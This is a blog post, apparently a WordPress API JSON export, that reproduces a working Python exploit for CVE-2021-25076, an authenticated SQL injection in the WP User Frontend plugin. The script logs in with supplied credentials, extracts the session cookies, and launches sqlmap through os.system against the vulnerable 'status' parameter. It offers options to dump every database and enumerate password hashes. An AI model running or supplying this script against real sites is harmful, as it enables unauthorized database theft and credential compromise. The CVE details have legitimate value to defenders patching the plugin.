# Exploit Title: WordPress Plugin WP User Frontend 3.5.25 – SQLi (Authenticated)
\n# Date 20.02.2022
\n# Exploit Author: Ron Jost (Hacker5preme)
\n# Vendor Homepage: https:\/\/wedevs.com\/
\n# Software Link: https:\/\/downloads.wordpress.org\/plugin\/wp-user-frontend.3.5.25.zip
\n# Version: < 3.5.25
\n# Tested on: Ubuntu 20.04
\n# CVE: CVE-2021-25076
\n# CWE: CWE-89
\n# Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-25076\/README.md<\/p>\n
”’
\nDescription:
\nThe WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter
\nbefore using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.
\nDue to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting
\n”’<\/p>\n
banner = ”’<\/p>\n
_|_|_| _| _| _|_|_|_| _|_| _| _|_| _| _|_| _|_|_|_| _| _|_|_|_|_| _|_|_|
\n_| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _|
\n_| _| _| _|_|_| _|_|_|_|_| _| _| _| _| _| _|_|_|_|_| _| _|_|_| _| _| _| _|_|_|
\n_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|
\n_|_|_| _| _|_|_|_| _|_|_|_| _| _|_|_|_| _| _|_|_|_| _|_|_| _| _| _|_|<\/p>\n
[+] WP User Frontend – SQL Injection
\n[@] Developed by Ron Jost (Hacker5preme)
\n”’
\nprint(banner)<\/p>\n
import argparse
\nfrom datetime import datetime
\nimport os
\nimport requests
\nimport json<\/p>\n
# User-Input:
\nmy_parser = argparse.ArgumentParser(description= ‘WP User Frontend – SQL-Injection (Authenticated)’)
\nmy_parser.add_argument(‘-T’, ‘–IP’, type=str)
\nmy_parser.add_argument(‘-P’, ‘–PORT’, type=str)
\nmy_parser.add_argument(‘-U’, ‘–PATH’, type=str)
\nmy_parser.add_argument(‘-u’, ‘–USERNAME’, type=str)
\nmy_parser.add_argument(‘-p’, ‘–PASSWORD’, type=str)
\nargs = my_parser.parse_args()
\ntarget_ip = args.IP
\ntarget_port = args.PORT
\nwp_path = args.PATH
\nusername = args.USERNAME
\npassword = args.PASSWORD<\/p>\n
print(‘[*] Starting Exploit at: ‘ + str(datetime.now().strftime(‘%H:%M:%S’)))<\/p>\n
# Authentication:
\nsession = requests.Session()
\nauth_url = ‘http:\/\/’ + target_ip + ‘:’ + target_port + wp_path + ‘wp-login.php’
\ncheck = session.get(auth_url)
\n# Header:
\nheader = {
\n‘Host’: target_ip,
\n‘User-Agent’: ‘Mozilla\/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko\/20100101 Firefox\/89.0’,
\n‘Accept’: ‘text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8’,
\n‘Accept-Language’: ‘de,en-US;q=0.7,en;q=0.3’,
\n‘Accept-Encoding’: ‘gzip, deflate’,
\n‘Content-Type’: ‘application\/x-www-form-urlencoded’,
\n‘Origin’: ‘http:\/\/’ + target_ip,
\n‘Connection’: ‘close’,
\n‘Upgrade-Insecure-Requests’: ‘1’
\n}<\/p>\n
# Body:
\nbody = {
\n‘log’: username,
\n‘pwd’: password,
\n‘wp-submit’: ‘Log In’,
\n‘testcookie’: ‘1’
\n}
\nauth = session.post(auth_url, headers=header, data=body)<\/p>\n
# SQL-Injection (Exploit):
\n# Generate payload for sqlmap
\ncookies_session = session.cookies.get_dict()
\ncookie = json.dumps(cookies_session)
\ncookie = cookie.replace(‘”}’,”)
\ncookie = cookie.replace(‘{“‘, ”)
\ncookie = cookie.replace(‘”‘, ”)
\ncookie = cookie.replace(” “, ”)
\ncookie = cookie.replace(“:”, ‘=’)
\ncookie = cookie.replace(‘,’, ‘; ‘)
\nprint(‘[*] Payload for SQL-Injection:’)
\nexploitcode_url = r’sqlmap -u “http:\/\/’ + target_ip + ‘:’ + target_port + wp_path + r’wp-admin\/admin.php?page=wpuf_subscribers&post_ID=1&status=1″ ‘
\nexploitcode_risk = ‘–level 2 –risk 2 ‘
\nexploitcode_cookie = ‘–cookie=”‘ + cookie + ‘” ‘
\nprint(‘ Sqlmap options:’)
\nprint(‘ -a, –all Retrieve everything’)
\nprint(‘ -b, –banner Retrieve DBMS banner’)
\nprint(‘ –current-user Retrieve DBMS current user’)
\nprint(‘ –current-db Retrieve DBMS current database’)
\nprint(‘ –passwords Enumerate DBMS users password hashes’)
\nprint(‘ –tables Enumerate DBMS database tables’)
\nprint(‘ –columns Enumerate DBMS database table column’)
\nprint(‘ –schema Enumerate DBMS schema’)
\nprint(‘ –dump Dump DBMS database table entries’)
\nprint(‘ –dump-all Dump all DBMS databases tables entries’)
\nretrieve_mode = input(‘Which sqlmap option should be used to retrieve your information? ‘)
\nexploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ‘ -p status -v 0 –answers=”follow=Y” –batch’
\nos.system(exploitcode)
\nprint(‘Exploit finished at: ‘ + str(datetime.now().strftime(‘%H:%M:%S’)))<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: WordPress Plugin WP User Frontend 3.5.25 – SQLi (Authenticated) # Date 20.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https:\/\/wedevs.com\/ # Software Link: https:\/\/downloads.wordpress.org\/plugin\/wp-user-frontend.3.5.25.zip # Version: < 3.5.25 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-25076 # CWE: CWE-89 # Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-25076\/README.md ”’ Description: The WP User Frontend WordPress plugin …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20925","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20925"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20925\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}